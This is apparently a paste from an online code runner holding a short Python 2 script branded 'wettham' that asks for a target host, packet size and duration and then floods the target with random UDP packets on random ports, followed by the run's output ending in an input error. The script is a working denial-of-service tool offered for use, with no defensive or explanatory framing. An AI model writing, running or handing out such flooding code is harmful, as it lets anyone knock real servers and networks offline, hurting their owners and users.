fork(1) download
  1. import socket
  2. import random
  3. import sys
  4. import time
  5. import os
  6.  
  7. if sys.platform == "linux2":
  8. os.system("clear")
  9. elif sys.platform == "win32":
  10. os.system("cls")
  11. else:
  12. os.system("clear")
  13. print(" _ _ _ ")
  14. print(" __ _____| |_| |_| |__ __ _ _ __ ___ ")
  15. print(" \ \ /\ / / _ \ __| __| '_ \ / _` | '_ ` _ \ ")
  16. print(" \ V V / __/ |_| |_| | | | (_| | | | | | |")
  17. print(" \_/\_/ \___|\__|\__|_| |_|\__,_|_| |_| |_|")
  18. print("")
  19. print(" Coded by wettham.")
  20. print("")
  21. target = raw_input("Target (Hostname or IP): ")
  22. print("---")
  23. package = input("Size (MAX 65500): ")
  24. print("---")
  25. duration = input("Duration (0 is infinite): ")
  26. durclock = (lambda:0, time.clock)[duration > 0]
  27. duration = (1, (durclock() + duration))[duration > 0]
  28. packet = random._urandom(package)
  29. sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  30. print("---")
  31. print("The UDP flood started on %s with %s bytes for %s seconds." % (target, package, duration))
  32. while True:
  33. if (durclock() < duration):
  34. port = random.randint(1, 65535)
  35. sock.sendto(packet, (target, port))
  36. else:
  37. break
  38. print("---")
  39. print("The UDP flood has completed on %s for %s seconds." % (target, duration))
Runtime error #stdin #stdout #stderr 0.02s 10192KB
stdin
Standard input is empty
stdout
               _   _   _                     
 __      _____| |_| |_| |__   __ _ _ __ ___  
 \ \ /\ / / _ \ __| __| '_ \ / _` | '_ ` _ \ 
  \ V  V /  __/ |_| |_| | | | (_| | | | | | |
   \_/\_/ \___|\__|\__|_| |_|\__,_|_| |_| |_|

                                    Coded by wettham.

Target (Hostname or IP): 
stderr
TERM environment variable not set.
Traceback (most recent call last):
  File "prog.py", line 21, in <module>
EOFError: EOF when reading a line